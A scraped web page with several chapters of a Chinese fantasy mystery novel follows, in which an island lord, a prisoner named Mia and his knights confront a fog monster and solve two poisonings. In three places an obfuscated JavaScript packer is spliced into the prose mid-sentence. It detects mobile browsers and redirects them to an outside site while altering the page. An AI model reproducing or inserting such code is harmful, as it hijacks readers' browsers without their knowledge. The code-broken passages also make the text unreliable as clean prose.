太难了,仿佛有一双手正拽着她的脚踝,试图将她拉到地心深处。 她低头一看,吓了一跳,不是仿佛,是那片黑雾,不知何时伸出触手,卷上了她的脚踝。 半空中,以利亚双眸凝视着脚下的黑雾,忽听下方传来一声尖叫。 美丽的女人花容失色,拼命向后退去,似乎是想要摆脱黑雾的影响,但黑雾就像长了倒刺的藤蔓,牢牢地勾住她的脚踝,并且大有沿着她的小腿向上延伸的趋势。 以利亚冷眼旁观了一阵,看着女人摔倒在地上,不停地挣扎,甚至用手去拍打黑雾。 直到黑雾蔓延到了她的膝盖位置,她的下半身几乎完全不能动弹,他终于动了。 眼前的人影出现得毫无征兆,像一阵风掠过天际,倏忽之间,银色的长发在眼前闪过,轻拂她苍白的脸颊。 以利亚半蹲下来,握住米娅的小腿。 金色的光芒从指缝间漏出来,黑雾惧怕般散开,又迅速合拢,分成千丝万缕,拉扯着那副丝质手套。 起初,以利亚的手纹丝不动,那副白色手套也像被施加了魔法一般,任黑雾如何拉扯也毫无破损。 然而,随着一缕血色混杂到雾气中,染红了白色的手套,米娅看见如磐石般岿然不动的手掌竟然微微颤抖了一下。 男人惊讶地扫了她一眼,更加用力地握紧了她的小腿。 好疼,就像有无数张口在撕咬她的血肉。 米娅面色更加苍白,额头冒出冷汗,紧咬下唇,将唇边的痛呼压了回去。 张牙舞爪的黑雾终于撕开了丝质手套,裂缝中隐隐可见男人手背上的皮肤,白皙透明,仿佛是北方万年的坚冰。 黑雾钻了进去,咬住那块几乎看不见血色的血肉。 他会如何应对? 米娅怔怔地望着这一幕,眼前忽然暗了下来,是男人的另一只手,覆在了她的眼睛上,挡住了她的视线。 与此同时,耳边传来令人牙酸的尖啸声,仿佛野兽死前最后的尖叫。 当一切归于平静,男人移开手掌,光线重新落入她的眼眸中时,黑雾已经消失无踪,只有满地的马车碎片提醒着她刚才发生的事情不是幻觉。 “起来。”银发领主语气平淡地命令道。 说罢,他缓缓起身,动作还未做完,一双手握住了他的手。 他垂下眼,那双手柔软纤长,温热的气息从交握处传来,仿佛还有淡淡的馨香。 那双手的主人仰头看着他,他的瞳孔中倒映出她的妩媚笑颜,比传说故事中用美色引诱男人们踏入深渊的妖精还要勾人。 “我好像动不了了。”美人轻轻地眨着眼睛,长睫微微颤动,投下一片阴影,眼眸中泛着微光。 他视线下移,看到女人小腿上的伤痕。 纵横交错,十分可怖。 又看回她无辜又委屈的神情,心底无声地叹息了一声,将她打横抱起。 米娅顺势搂住他的脖子。 她不禁打了个寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818800|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤,好冷。 不是第一次离得这么近,但这个男人真是一如既往地冰冷,身上一点儿温度也没有,有时候让人忍不住怀疑他究竟是不是还活着。 她的眼角还残留着恐惧的痕迹,嘴角却扬起微笑,似乎不久之前的针锋相对不曾存在,“领主大人,那是什么怪物?” “你以前没见到过?”银发领主低声问道。 “别说见了,都没有听说过呢。” 奥维伊群岛上遍布危机,从来不缺各种各样的怪物,一本学院岛出版的《常见怪物手册及躲避方法》是常年在外的人们出门必备。 她的行李箱中就有一本,还是普目岛上某个爱慕她的青年赠送的最新版,里面提到的怪物会制造挡人视线的雾气的不少,但没有哪一种完全是由雾气构成。 “既然不知道,也不必知道了。” “那我的腿……” 刚被怪物碰到时,还有些疼,渐渐地什么感觉也麻痹了。 “很快就会恢复。”男人的回答言简意赅,一点儿也没有安慰的意思,米娅只从中听出了警告。 ——不该问的别问。 “可是……” 男人停了下来,低头冷冷地瞥了她一眼。 他什么都没有说,米娅却看出了他的威胁。 再说话,就把你扔下去。 “知道了,知道了,我不问就是了。”她嘟囔着,低声抱怨了一句,转头将表情都埋进了他的怀中。 说话声消失,某些别的声音就明显起来。 砰…… 和怪物出现前的声音非常相似。 米娅屏气凝神,终于意识到,那是心跳声。 来自于他,也来自于她。 砰砰砰…… 心跳声越来越剧烈,无论是她的,还是他的,米娅讶然,偷偷抬眼瞥了一眼他的侧脸。 莫非,真如外界所说,领主大人觊觎我的美貌…… 她胡思乱想起来,不知是不是错觉,一这么想,似乎男人身上那经年不变的寒气也消失了些,冰冷的怀抱竟渐渐有了一点儿温度。 “领主大人!” 一队卫兵匆匆赶来,打断了她的思绪,领头的那人唤了一声后就愣在原地,看看面无表情的银发领主,又看看他怀中娇弱的美人,惊讶无以言表。 那人一时不知该不该上前。 听那声音就知道来人是卡伦,米娅转过脸来,对他笑了笑,同时仔细一瞧,跟在他身后的还有个很难忽略的人影。 一身黑色的骑士战甲,一顶将脑袋遮得严严实实的头盔,头盔也是全黑的,只有眼睛那里被挖了一个长条形的小洞。 但是从那个小洞望进去,也看不见他的眼睛,只有阳光也照射不进去的黑暗。 这打扮,只能是那位著名的“黑骑士”休伊了。 他和卡伦道恩,以利亚赫尔西最信任的两个人,他的左膀右臂。 “大人。” 黑骑士休伊没有卡伦那些奇奇怪怪的联想,他第一时间就注意到了米娅腿上的血迹,走上前来,对着以利亚恭敬行礼,“您没事吧?” 语气中是毫不掩饰的关心。 “无事。”面对黑骑士休伊,以利亚的语气柔和许多,“遇上了袭击,敌人已被击退。” 说罢,他又吩咐卡伦,“叫辆马车来,将她送回去。” 新的马车很快到来,两个士兵上前来,作势要将米娅押走,米娅紧紧拽住以利亚的袖子,迎着他冰冷的眼神,咬唇道:“我害怕。” 向来冷漠的领主大人是否会回应这近乎撒娇的的行为? 在场众人从前不觉得这会成为一个问题,接下来发生的事情却叫他们大吃一惊,只见领主大人沉默了许久之后,抱着女人走上了马车。 掀开帘子,向卡伦低声吩咐了几句。 卡伦点点头,马车启动,却是往监狱的相反方向而去。 8. 命案(八) 卡伦和休伊骑马跟在马车后面,眼见着目的地越来越近,休伊挥了挥手,示意士兵们继续跟上,他却调转马头,拦在了卡伦面前。 “那个女人是谁?” 卡伦正在走神,差点儿没勒住缰绳和他撞在一起,“问就问,别吓我,你先猜猜看?” 头盔挡住了休伊的表情,但从语气来看他相当迟疑,“该不会是那个传闻中杀死了凯勒和加里的女人吧。” 卡伦叹了口气,“就是她。” 休伊沉默良久,倾身靠得更近了些,用只有他俩才能听到的声音说:“我听到一些风言风语……难不成是真的?” 不需要明说,两人都知道休伊口中所言风言风语是指什么。 卡伦摸了摸下巴,将昨夜的情形快速在脑海中过了一遍,柔弱的美人,冷酷无情的领主,还有个过于热心的领主外甥。 看起来,那两人之间没有暧昧。 他本该自信否认,可刚才发生的事情又叫人糊涂。 就连那两个人是怎么凑到一块儿的都不知道。 “卡伦,休伊。” 正犹豫着,不远处响起一声呼唤。 竟是策马而来的莱森。 莱森一靠近,便迫不及待地问:“卡伦,发生了什么事情,我过来的时候看到领主大人的马车被毁,他们人呢?” 要不是没瞧见血迹,他会更加焦急些。 卡伦眉梢一动,眼前的黑发青年用的是“他们”,他知道马车里不止领主大人一人? “去西边的悬崖了。”卡伦安慰了他一句,好奇道,“莱森,你怎么没和他们一起?” 莱森心下稍定,将前因后果说了一番,最后道:“我实在是不放心,就跟了过来,没想到见到如此可怖的场景,他们怎么样,可有受伤?” 领主大人倒是没事,米娅就—— 卡伦也分不清莱森此刻究竟是关心哪个人更多一些,只好含糊地回答,“既然来了,你也一起过去吧,去瞧了就知道。” 莱森正有此意,当即继续追赶马车去了。 留在原地的卡伦和休伊对视一眼,颇有些感慨。 “没想到这位米娅夫人竟有如此胆量。”卡伦遗憾地摇了摇头,他若是能瞧见那一幕就好了。 作为有史以来最强大的渡水者,赫尔西岛领主一向是受人畏惧的对象,卡伦就没见过几个能在他面前正常说话的普通人,更别提质问他了。 “你觉得她是普通人?” 不久之后,当卡伦追上大队伍,与从马车上下来的银发领主碰面时,银发领主丢给他一个你怎么也犯蠢了的眼神。 “这不是医者说她是嘛。” 以利亚看向马车的方向,米娅的腿还不能动弹,他将她留在了马车里,此时,她正掀开车窗,与马车旁的莱森说着话。 不知道他们说了什么,她笑得明媚,明媚得甚至有些刺眼。 如果他想知道,他可以轻易听到他们的对话,这是他与生俱来的能力,能听见很大范围内的一切声音。 并不是什么好事,通常他会选择性地屏蔽掉很多无用的声音。 那两人的对话,也在无用之列。 “普通人,不会招来那东西的袭击。” “袭击你们的是——”卡伦愣了一下,疑惑的话语说到一半,看见以利亚掌心一缕黑色的雾气,脸色顿变,“它已经一年没有出现了,我还以为——” 他猛地转头,不远处的马车上,女人微笑着,如海浪般浓密细腻的卷发垂在肩上,黑发与冰雪般的肌肤相映,愈发显得迷人危险,“难道跟她有关?” “还不能确定。”以利亚淡淡道,向马车走去,“无妨,我已经快追查到它的来源了。” 离得近了,屏蔽也就不管用了,莱森的声音断断续续传进他的耳朵里。 “……不太清楚……第一次听说……他们有很多秘密……” 一听就知道他们在讲什么。 这个女人,又在旁敲侧击地向莱森打听。 另一边,莱森一直用余光观察着以利亚的动静,见他过来,连忙收起笑容,正色唤道:“领主大人。” 以利亚始终对他神情淡漠,摆了摆手命他离开之后,看着米娅看似无辜的眼眸,“你的腿怎么样了?” 只看内容像是在关心,但这个语气却近乎于审问了。 米娅纳闷,我又怎么惹到他了? 她眼珠一转,假装没有察觉对方语气不善,轻轻动了动双腿,有些惊讶,“左腿已经恢复了,右腿还有些麻。” 从伤口来看,右腿显然伤得更重,此刻恢复得慢一些也不奇怪,真正令她惊讶的是,不久之前她的两条腿还没有知觉,这才一会儿的功夫,在没有得到额外治疗的情况下,她竟然感觉伤口已经好得七七八八了。 别说她只是一个人类,就是传说中拥有快速愈合能力的海妖,也没有好得这么快的。 以利亚点了点头,面无表情的脸上看不出任何心思,转身走了。 米娅一愣,赶紧追上去。 车门打开的一瞬间,无数被隔绝在外面的声音也涌了进来,海浪拍打在岩壁上的声音十分响亮,还有诸如“站住”“别跑”之类的喝止声。 天似乎要下雨了,很阴沉,空气中水雾弥漫。 米娅一瘸一拐地走到车门口,向外探出个头,左右看看。 巨大的天幕之下,乌云滚滚,海浪翻涌,马车正身处在海边悬崖上一条人工开凿的小路上,路很窄,一不注意就有可能跌下山崖。 崖上的风也很大,将她的头发吹得高高扬起。 小路的尽头,竟有一个洞窟,黑漆漆没有任何装饰的洞口,像一张张大的嘴,风灌进去,发出呼啦呼啦的鬼响。 忙碌的士兵正在洞窟门口捕捉四散而逃的人。 “领主大人。” 黑骑士休伊从洞口走出,对着以利亚恭敬行礼,然后摇了摇头,“我们来的时候海妖已经杀了几个守卫跑了,只留下了几根羽毛。” 黑色的钢铁手掌摊开,灰色的带有金属光泽的羽毛躺在手心,与米娅在凯勒的卧房捡到的羽毛一模一样。 以利亚接过羽毛,走进洞窟之中,黑骑士也连忙跟上。 米娅若有所思地望着他们的背影,一个身影在这时慢慢靠近了她,她转头,看见卡伦那张笑眯眯的脸。 “米娅夫人,你的伤还没完全好,还是待在马车里比较好。” 对一个囚犯用商量的口吻,也不知道是他天生就这么好心还是别有用心。 米娅本来也没打算跟过去,向着洞口的方向抬了抬下巴,“这是哪里?” 卡伦微笑,“这是凯勒私藏海妖的地方,根据加里的下属的证词,昨晚加里正是因为得知凯勒私藏了一只海妖,才会去找他理论。” 米娅好奇,“我听说,领主府与海妖猎人组织有份协议,所有被抓捕的海妖,都必须经由领主府同意方可关押在合适的地方。” 卡伦惊讶道:“没想到你居然知道。没错,海妖拥有极强的自愈能力和巨大的杀伤力,关押他们也需要特殊的法阵压制他们的能力,遗憾的是,海妖猎人组织并未掌握该法阵,所以他们不能单独关押海妖。” 真的是遗憾吗? 米娅笑了笑没说话,过了好一阵子,将目光望向波浪滔天的大海,又说:“这只逃掉的海妖,会再回来的吧。” “一定会。”莱森走过来,“海妖是很记仇的生物,真不知道凯勒是不是疯了,他有没有想过会有多少无辜的人为他的错误买单?” “他的确已经疯了,而且也已经死了。”米娅淡淡地说道。 “您说的不错。” 不知想到了什么,卡伦低头看了眼她的小腿。 米娅没有错过他的视线,趁势问道:“卡伦大人知道袭击领主大人和我的是什么怪物吗?” “或许您应该问领主大人。” “他不肯说呢。” 卡伦的笑容完美而虚假,“既如此,我们就更不能告诉您了。” 堂堂熟悉文官对她这个阶下囚用“您”这个尊称,米娅只觉得讽刺。 她倒也能猜到理由。 这里的每一个人,除了莱森和卡伦,现在都只敢偷偷看她,看她的眼神中也充满了不可置信。 他们大概在想,她究竟有多大的魅力,竟让不近女色的领主大人亲自抱着她登上马车。 只有她自己知道,以利亚对她有多防备。 唉,想到以利亚,她又忍不住哀叹。 这个人,他不说,就让别人也不能说,真是霸道得很。 没多久,以利亚和黑骑士休伊从洞窟中走了出来,海妖已经逃离,洞窟中不是疯子就是死人,没留下有用的线索。 他和卡伦乘车走了。 莱森和米娅看着绝尘而去的马车面面相觑,幸好黑骑士此刻发了话,“领主大人另有要事,稍等片刻,我为你们重新准备马车回监狱。” 这一等又是半个小时。 抓捕工作进行到了尾声,数个神情惊恐目光呆滞的海妖猎人用绳子捆了,带到了黑骑士面前。 被厚重盔甲包裹的手臂慢慢举起,放到其中一个人的脑袋上,然后慢慢收紧,金属关节发出清脆的响声,似乎要将那人的脑袋都捏碎了似的。 但那人却毫无变化,仿佛掌管疼痛的神经已经从身体里去除。 黑骑士松开了他,“已经没救了。” 这时,背后传来马的嘶鸣,马车到了。 一辆非常普通的马车,除了车头上悬挂的家徽。 一条栩栩如生的衔尾蛇,简单却令人闻风丧胆的图案。 米娅走过去,抬头注视着赫尔西家族的家徽,人类古老的贵族都喜欢选择某一种动物的形象加以设计做成家徽,从虎到鹰,无不威风凛凛。 用蛇的少之又少,而且还是这种古怪的蛇,只此一家。 她走上马车,莱森紧随其后,最后,浑身盔甲的黑骑士竟也俯身钻了进来。 他一进来,整个车厢为之一震,引得米娅和莱森连连回头。 莱森有些不解,“我们要去监狱。” 黑骑士点了点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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莱森静静看着她,没有再问下去,不忍打断她的美好回忆。 在两人都沉浸在自己的世界时,黑骑士休伊被盔甲包裹的脖子向左边转了转,又向右边转了转,带着审视的目光。 然后,他看向了莱森。 熟悉他的人都知道,除了在领主面前,他一向是有话直说,从不绕弯子。 这次也不例外。 “莱森大人,你喜欢她?” 莱森惊得从软垫上跳了起来。 “没有!”他大声地否认道。 被戳破心事之后竭力否认,黑骑士见的太多了,最后无一例外都证明他是对的。 这不是重点,所以他接着说了更令人惊讶的一句话。 “请不要喜欢她。” “都说了我没有!”莱森抓狂地大叫,风度什么的都被抛至脑后,他的脸涨得通红,眼睛紧紧盯着黑骑士休伊,根本不敢去看米娅的反应。 “我能问一下为什么吗?” 这回说话的是米娅,她似乎一点儿也没觉得被冒犯到,嘴角漾着浅浅的笑意,蓝色眼眸深深地望着黑骑士看不见的“脸”。 纤细白皙的手指把玩着黑色卷发的末梢,她的上半身微微向前倾,好像真的很好奇。 “他心思单纯,会被你骗。” 黑骑士也看着她,简短的话语从头盔下面传出来,没有掺杂任何个人情绪,仅仅是陈述,由他的观察得到。 这话说得米娅和莱森都是一愣,随即米娅便笑出了声,“我长了一张会骗人的脸吗?” 对着莱森说的,边说还边眨了眨眼睛。 莱森下意识地看向了她,正好与她的视线相撞,不由得脸更红了,“不是”两个字就在嘴边,却怎么也说不出来。 看来在他的心底,也不是完全不赞同这话。 米娅了然地收起笑容,挑眉看着黑骑士,“你们大可以放心,等你们找到真凶,我被放出去之后,就不会跟你们再有交集,我会去找到我的丈夫,随他一起回故乡去。” 听到她这么说,莱森只觉得心里顿时一痛,不禁流露出失落的表情。 黑骑士休伊将两人的神情看在眼里,躲在盔甲中的身躯无声无息地叹了一口气,看样子,莱森已经陷得有点儿深了。 不就是一个刚认识一天的女人,至于么。 哪怕这个女人长得很好看,他也不能理解。 他就是这么一个不解风情的人,以以利亚赫尔西为榜样,不近女色,永远从容,还有,傲慢冰冷。 但今天,他的模仿有些进行不下去了,因为他看见,敬爱的领主大人居然抱着这个女人。 这是绝无仅有的事情,足够他展现出惊讶。 而现在,他又发现莱森居然喜欢这个女人。 黑骑士休伊感到了强烈的危机感,他的直觉一向很准,面前这个美艳妩媚的女人,一定会在岛上掀起腥风血雨。 要不,干脆现在就把她杀了,以绝后患。 他的手已经摸到了重剑,看向旁边失落的莱森,又垂了下去,再等等,如果她真能如她所言此事过后就和莱森划清界限,也就没问题了。 9. 命案(九) 两天后,伊莉娜岛的药剂师受邀来到赫尔西岛,经过他的检测,凯勒卧房中的酒中,含有极高浓度的非多姆。 非多姆对人体的伤害有目共睹,就算是那些对非多姆上瘾的人,在使用非多姆时,也会小心地将其稀释很多倍。 因为稀释不够充分的,基本都因为服用过量非多姆死了。 而酒壶中的非多姆,哪怕经过了与酒的混合,其浓度依然远超人类能够承受的范围。 药剂师最后的结论是,如果这么大一瓶酒都被他们喝完了,其中的非多姆进入两人体内,哪怕他们是强大的渡水者,也会受到难以预估的影响。 随后,有了这个结论,他们名正言顺地对凯勒和加里的尸体进行了尸检,结果证明,在他们体内,也存在着大量的非多姆。 “她猜对了。” 得到这个结论时,以利亚和莱森都在场,以利亚意味不明的一句话,让莱森的心又活跃起来,他趁势问:“那是不是能洗清她的嫌疑了?” “还没有排除药是她下的。” 怎么排除? 这倒不难,以利亚已经下令全岛搜查贩卖非多姆之人,这东西毕竟稀少,届时只需要将每一笔交易都查清去向,自然可以知道究竟是谁购买了非多姆,又倒进了凯勒的酒瓶里。 搜查如火如茶地进行了整整一天,整个赫尔西岛明里暗里的交易全被翻找了个遍,最后将目光锁定在了一个珠宝商店老板身上。 据他所说,他开的珠宝店因为价格昂贵,光顾的客人都是些有钱人,他无意中听说隔壁玛利亚联盟这个名叫非多姆的禁药正在贵族中流行,利润惊人,于是动了歪心思,发动人脉从玛利亚联盟的几座岛屿偷运过来,再以十倍的价格卖出去。 这价格嘛,自然是令普通人望而却步了,所以整座岛上,有门路卖得起也卖得出去非多姆的,仅此一家。 米娅还不知道外面发生的事情,当她被带到领主府时,正好瞧见珠宝店老板跪在地上痛哭流涕地求饶:“领主大人,我只是一时鬼迷了心窍,才会去卖那种害人的东西,我以后再也不敢了,求求您,饶我一命吧……” 以利亚还是那副万年不变的表情,在他旁边,莱森已是怒不可遏。 连他都能生气成这个样子,此人求饶的话看来是没用了。 米娅忽然想起了尚在牢中的罗莎,她没了禁药可吸,精神并没有因此变好,反而愈发颓唐,米娅这时才知道,她已经陷进去太深,连救都不知道该怎么救。 过来之前,她曾经和罗莎有过一次对话。 罗莎还是没精打采的样子,却硬是挤出个笑容向她祝贺,“听说领主大人为了你将外面翻了个底朝天,相信你很快就能出去了,恭喜。” 她知道她们在想什么,自己一个囚犯,在案子还未查清的时候就受到种种优待,根本就是证实了那些桃色传闻。 有时候连她都忍不住怀疑,莫非领主大人真的看上自己了? 可一想到那人那张俊美的脸上的冷漠表情,她又暗自摇头。 “抬起头,这个女人在你那儿买过非多姆吗?” 以利亚冷淡的声音打断了米娅的回忆,她低头看去时,珠宝店老板忙不迭抬起头,看了眼她,立刻回答说:“没有,我没见过她。” “答得这么快?”年轻的领主大人似乎不太相信。 珠宝店老板现在只想着活命,听他这么一说,自以为明白了他的意思,连忙改口,“见过,见过。” “一会儿没见过,一会儿见过,你倒是说说,你是什么时候见到我的,我买了多少,付了多少钱?” 不需要莱森愤慨地质问,米娅已经冷笑着将他想说的话都说了出来。 咄咄逼人的样子有种凌厉的美。 珠宝店老板被她镇住,哆哆嗦嗦了半天,瞎诌了一个一个月前。 这下好了,连辩解都省了。 他们都知道,一个月前,米娅还在玫瑰号上。 这时,黑骑士走了进来,“领主大人,查清楚了,根据账目上的记录,排除了和海妖猎人组织毫无交集的,只有三处可疑。一个是加里的妹夫,一个是凯勒的下属,还有一个是和凯勒来往密切的妓女。” “将他们都带过来。” “是。” 他们好像完全没避着自己的意思,那米娅自然也懒得避嫌,她也很好奇,究竟会是谁? 最先被带来的是加里的妹夫,一个打扮精致的贵族男子,加里的妹妹也跟了过来,嘴里叫嚣着他们不去找真凶,却来抓自己丈夫,肯定是受了某某某的指示,不想让自己丈夫继承加里的位置云云。 她那丈夫倒是沉默得很,只有在她声音陡然增高时,才会露出几分痛苦的表情。 明眼人一看,强势的大舅子和妻子,沉默寡言的妹夫,然后再发生点儿矛盾,这也太有作案动机了。 加里的妹妹骂骂咧咧地过来,一看到黑骑士和以利亚,一下子吓得不敢高声说话了。 勉强挤出几滴眼泪,哭诉自己的冤屈。 “不用说了,我承认,是我给加里那个混蛋下的药。”她的丈夫咬了咬牙,竟然一来就承认了。 哭诉的声音戛然而止,然后是差点儿把屋顶掀翻的吼声,“你说什么!我跟你拼了,我哥哥哪里对你不好了,你要害他!” 眼前一花,两人扭打在了一起。 米娅默默往旁边一闪。 这就是夫妻打架吗,米娅瞥了几眼,与寻常人打架也没多少分别嘛,真没意思。 卫兵好不容易将两人分开,怒吼的变成了沉默寡言的丈夫,“他对我好?你该问他有哪里对我好了,他这种人根本就是死有余辜!领主大人,我愿意将一切都说出来。” 据他所说,几个月前,他的母亲病入膏肓,他听人说非多姆有神奇的功效,可以治疗绝症,于是花重金从珠宝商那里买了一瓶。 结果当然可想而知,非多姆不仅没治好他母亲的病,反而加速了他母亲的死亡,半瓶非多姆下去,母亲一命呜呼。 临终之前,母亲交给他一枚价值不菲的宝石,说这是他们家族的传家宝,叫他收好。 这一切被加里看在眼里。 那个时候,加里十赌十输,将所有的钱财都赔了进去,可是又不甘心就此罢手,总觉得下一把一定能赢,就打上了他这枚宝石的主意。 向他要他不给,加里竟然直接将宝石偷走了,等他反应过来时,宝石已经被输了出去,对方也不是省油的灯,要拿回宝石,要他拿很大一笔钱来赎。 “直到现在我都没能赎回来,我简直要恨死他了。母亲去世的时候,我终于明白非多姆不是什么好东西,又打听到它的真正功效,那天晚上他不知道从谁那里知道凯勒私藏了一只海妖,气冲冲地要找凯勒理论,我想趁此机会教训他,就将药下到了他的水里,骗他喝了下去。后来听说他和凯勒都死了,现场还很惨烈,我就知道我的计划成功了,他们真的自相残杀到不死不休的地步。” “他的水里?”莱森发现其中的不对之处,“不是凯勒的酒里吗?” 加里的妹夫迷茫地看向他,“莱森大人在说什么?凯勒的酒里?我跟凯勒又不熟,跟他有什么关系?” 莱森追问道:“当晚你没有去过凯勒的家中?” 得到的是否定的答案,“没有。” 看来不对,以利亚吩咐人带他下去细细审问,主要是问清楚当夜他是否有在凯勒的酒中下毒,以及他喂加里喝下的禁药的量。 这第二个嫌疑人也随之到了,被卫兵押着,见着以利亚,万分惊恐,扑通一声就主动跪了下来,大喊道:“领主大人,我知道错了,我真的知道错了。” 刚一打照面,米娅就觉得这个人有点儿面熟,再仔细一看,记起来了,不是那天在凯勒的别墅外拦住莱森的那个人吗。 她可还记得他口口声声说就是以利亚要包庇自己时的嚣张模样,还以为他有多无畏呢,没想到真正见到了以利亚,是这个怂样。 差点儿就要痛哭流涕了。 以利亚双手交叠放在腿上,依然带着白色的手套,但上面早就没了莱森的血迹,手套边缘的绣花有些细微的差别,应该是换了一双。 他问:“错在哪儿?”冷淡却极有压迫感的问话。 这下真哭出来了,看着他的样子,米娅刚想笑,听到他的话,又笑不出来了。 “我不该找人去刺杀米娅夫人,没想到竟然误伤了莱森大人。” 原来是他! 莱森和米娅同时看向了对方,然后都看到了对方紧皱的眉头。 这事过去了两天却一直没有下文,行刺的人坚称是要为凯勒报仇,一时冲动所致,还在牢里关着呢。 没想到还有意外的收获,看起来卫兵去抓他时,并没有说明原因。 米娅媚眼看向黑骑士休伊,他是故意的还是不小心的? 眼珠一转,又瞥向了端坐于前方的以利亚。 黑骑士都是听他吩咐,他又是什么用意? “恐怕不止如此。” 短短几个字,说得亚当埃尔博汗流浃背,跟着凯勒做事的这些年,他坏事没少做,这领主大人今天到底打算用哪一件开刀,要是猜不对,说错了什么话,真就性命不保了。 大脑急转之际,匍匐在地上背对着他的珠宝商转过头来,“你就招了吧。” 看到他,亚当埃尔博脸色变得苍白无比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818802|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再一环顾,一下子就捕捉到了米娅的所在,他瞬间明白过来。 完了,这回是瞒不下去了。 亚当埃尔博一把鼻涕一把泪地哭诉道:“领主大人,我都是被逼的,那些药,都是凯勒让我去买的,他买了要做什么,我也不知道啊。” “不知道?”米娅冷笑一声,“没记错的话凯勒见我那几次你都在他身边,怎么会不知道?” 亚当还要继续狡辩,“我虽然是他的心腹,但他也不是每件事都要跟我说的。” 以利亚给休伊使了个眼色,休伊会意,站了出来,山岳一样的气势压得亚当声音逐渐变小,“没关系,光是谋害莱森大人一条罪状,足以判你死刑了,给了你机会你不愿意抓住,那就跟我下去吧。” 这话说的,就像立即就要对他行刑了一样,亚当果然被吓住,又慌乱了许多。 休伊趁势去拉他的胳膊,将他往外拽,冰冷的盔甲散发着寒气,亚当哆嗦了一下,终于忍不住了,“我说,我说,领主大人,凯勒看上了米娅夫人,但又怕她不从,想到非多姆有成瘾性,便想逼迫她喝下去,然后……然后以此控制住她。我看见他将药下在了酒里,可是,可是不知道怎么的,米娅夫人没事,他却死了。” 好歹毒的计划,米娅抿起红唇,脑海中不禁想到了罗莎的样子,她吸食的甚至不是非多姆这种效力强劲的,就已经成这样了。 实在难以想象,若让凯勒得逞了,自己会变成什么模样。 怒火在动人的眼眸中熊熊燃烧,在她愤怒地走上前去之前,莱森拦住了她,而这时,休伊也毫不留情地指出,“你在说谎。” “休伊大人,我真的都说了。”亚当叫冤。 休伊继续拽动着他,“根据账单,你购买了大量的非多姆,只是为了控制一个普通人,不需要这么多。” “那——那是凯勒要的,我也不知道他还打算做什么!” 将一切都推到一个死人头上,很拙劣,但也很有效,休伊果然停住了,就在这时,却有另一个声音重复了他的话。 “你在说谎。” 一个略有些沙哑的女人声音。 在场的只有米娅一个女人,但那声音明显不是她的,所有人都望向了门口。 面容苍白有几分成熟气质的女人在狱卒的押解下走了过来,身上穿着宽大的囚服,嘴唇有些不自然的白,神情颓唐。 刚才米娅还在心中想着的人,如今就出现在了她的面前。 米娅心中叹息,罗莎,果然是她。 听说第三个购买了非多姆的可疑人员是个与凯勒关系密切的妓女时,她就想到了她,只是不愿相信。 那么多人,偏偏是她。 “那天晚上,米娅到来之前,凯勒那个狗东西一直和我在一起,他亲口对我说的,他好不容易搞到了一点儿非多姆,打算用到他新看上的女人身上试试效果。” 她刻意在“一点儿”三个字上加重了语气。 “自从染上禁药,他出手大方,成了我最重要的来钱途径,我以为又是哪个酒馆新来的妖精勾走了他的魂。断了这条路,我还哪儿去找足够的钱买药。正巧我当时禁不住诱惑也买了非多姆想试试,但一直犹豫不敢,一时冲动,就将身上的非多姆全倒进了他的酒里。” 她带着歉意看向米娅,“米娅,我不知道那个女人是你,如果早知道,也就不会做下这等错事了。” 米娅别过眼去。 罗莎惨然一笑,“你不愿原谅我也是应该。” 听到她的话,亚当就像抓住了救命稻草。 “领主大人,您听见了吧,酒里的非多姆,是她倒进去的。” 罗莎瞪着她,“我又没多少钱,也只能买到很少的量,就算和凯勒倒进去的加起来,也不足以让一个强大的渡水者发疯。” “那究竟是怎么回事?” 好像真相已经近在眼前了,可是莱森却越听越糊涂,他不禁发问。 “莱森大人,我或许可以解释。”就在众人思索之际,珠宝商突然说话了,“非多姆的效用太强,为了防止有人一下子喝得太多死了,暗地里流通的非多姆,都是兑了水稀释过的,如果有人将大量稀释过的非多姆重新蒸馏,也许可以得到少量却效力十分强劲的非多姆。” 这么说来—— 众人看向亚当埃尔博,他的脸色极差,看着珠宝商的目光就像要吃了他一样。 看来,真相已经揭晓了。 事已至此,亚当埃尔博也不再辩解,颓废地跪在地上,木着一张脸,将前因后果都讲了出来,“其实,我没想害死凯勒大人……” 结合前后三人的供述,一个完整的故事终于展现在众人面前。 10. 命案(十) 五年前,海妖捕杀令发出之后,奥维伊群岛再难寻觅到落单的海妖踪迹,为了捕杀海妖,海妖猎人们纷纷聚集到赫尔西岛。 因为这里离海妖的老巢——无尽海中央的奥修斯岛最近。 岛上的两大海妖猎人组织,曾经三次组织起人数众多的海妖猎人,乘船进入无尽海,但都无功而返。 在这三次行动里,超过半数的海妖猎人失踪或死亡。 可悲的是,只有一次,也就是最近的一次,他们的伤亡是由海妖造成的。 在前两次的行动中,他们刚进入无尽海区域舰船就迷失了方向,永不停歇的风暴将脆弱的人类身躯卷起,抛入冰冷大海。 勉强固定住身形的人们费尽千辛万苦,逃离了无尽海,向赫尔西岛上的居民述说着无尽海的恐怖。 